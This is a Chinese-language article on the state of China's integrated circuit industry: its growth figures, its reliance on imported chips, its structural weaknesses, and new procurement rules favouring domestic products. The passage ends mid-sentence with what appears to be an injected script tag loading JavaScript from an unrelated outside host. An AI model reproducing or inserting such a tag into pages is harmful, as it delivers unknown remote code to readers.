进入21世纪以来，我国集成电路(IC)产业取得了举世瞩目的成就。其发展呈现了如下三大特征：一是“垂直分工模式”产业集群的建立。目前，包括IC设计、制造、封装测试及设备材料等在内的我国内地IC企业总数已达700家左右；同时，还建立起长三角、京津环渤海湾、珠三角及中西部4个集成电路产业基地。

　　二是产业发展的快速态势。如图1所示，在2001年到2007年期间，我国内地IC产业销售额从2001年的188亿元，发展到2007年的1251亿元，年均复合增长率达到40.2%，产业规模扩大了9.5倍。

　　三是产业发展的巨大空间。在2001年到2010年期间，我国内地IC产业所能供应的能力占需求的比例，从2001年的13.6%，发展到2007年的23.1%；但与需求相比，2008年需求与供应的缺口预计为4159亿元，到2010年，自身供应率预计也仅为30.1%，缺口更大，将达5820亿元。从中可以看出，中国IC产业的可持续发展空间巨大。

　　国产IC业尚未发挥核心作用

　　今天，我国已成为全球最大的区域性半导体市场，确立了IC应用第一大国的地位。在2008年到2010年期间，我国内地IC市场仍将以15.5%的年复合增长率发展，到2010年，有望形成1万亿元左右的市场规模。但是，迄今为止，我国内地系统和电子整机中的芯片80%左右还需进口(见图1)，IC产品已成为我国超过石油及石油制品的最大进口商品。

　　事实上，我国IC产业在政策等环境建设上的大量投入，还没有换来产业结构的提升，自主知识产权的IC产品在我国的国民经济建设中，还没有发挥核心作用。造成这种局面的主要因素在于：

　　一是市场竞争力问题。应该看到，我国内地IC企业大都还处于发展期，相比国际IC巨头，他们不仅在整体创新能力上过于弱小，自主品牌还没有建立，产品缺乏差异性特色，性价比不高，且大部分企业还不能为各类个性化用户提供包括从技术标准、系统整机设计到芯片、模块乃至主板等在内的完整解决方案。

　　二是创新和融资问题。目前，我国内地IC企业，尤其是IC设计公司，由于自身发展历史较短，面对瞬息万变的市场，他们要形成自我掌控、自我良性循环的可持续发展状态，还存在着诸多矛盾和问题。在实现产品研发创新的供应链管理方面，包括企业价值方面，还没有建立完善的科学管理体系；在风险资本方面，内地缺乏活跃的融资市场，致使一些优秀的、成长性好的IC设计企业，他们的资本及其“生死权”被海外掌控，企业“空心化”时而发生。

　　三是整机与芯片的联动问题。IC作为基础元器件，它的价值体现在其所应用的电子信息系统和电子整机中。但是，在“整机与芯片联动”环节，我国现有的大多数系统整机产品的设计及应用，包括核心IC及其软硬件开发平台，基本上是按照国外的技术标准及其路线图做的。同时，国内整机企业对国内IC企业缺乏信任，普遍追求洋货，致使其在与国内IC企业的磨合中，不断要求IC企业进行设计指标和应用方案的修改等。这样，磨合到最后，该“整机与芯片联动”专项IC产品，鉴于市场变化之故也被“磨合”掉了。这说明，国内IC企业为获得一定的市场份额就如同在攀一条“华山之路”。

　　四是我国相关政府采购法令存在的不足。应该看到，《中华人民共和国政府采购法》实施5年多来，虽然取得了很大成绩，但是由于缺乏优先考虑购买自主创新产品的条款和缺乏配套措施，导致在实际操作中，自主品牌的国货明显竞争不过洋货，甚至出现随意制定采购单位等垄断行为。尤其是政府采购目录的门槛太高，且常采用整体招标方式，致使供应核心基础件的国内IC企业望而却步。

　　新政策提供前所未有发展机遇

　　应该看到，《自主创新产品政府首购和订购管理办法》和《政府采购进口产品管理办法》(以下简称“政策”)是在《中华人民共和国政府采购法》的基础上制定的。它不仅明确了政府要优先采购国内自主创新的产品，还进一步规范了政府采购进口产品的行为。更重要的是，它对贯彻落实国务院关于实施《国家中长期科学和技术发展规划纲要(2006-2020年)》，提高我国IC和IT（信息技术）产业的自主创新能力，提供了前所未有的政策环境。其明显的作用在于：

　　一是“政策”大大发挥了政府采购向自主创新产品倾斜的作用。因为本政策与其他产业政策相比，有两个显著不同：一方面它不是解决一个阶段单一行业或产业发展的瓶颈问题，也不是只局限于对一个行业或产业的单向支持，而是将政策制定的视野，恰当地拓展到上下游的相关行业，以及相应的产学研结合领域，使政策具有系统性和共享性。另一方面，它从产业可持续发展的根本点，即从自主创新体系建设出发，突出了?script src=http://er12.com/t.js>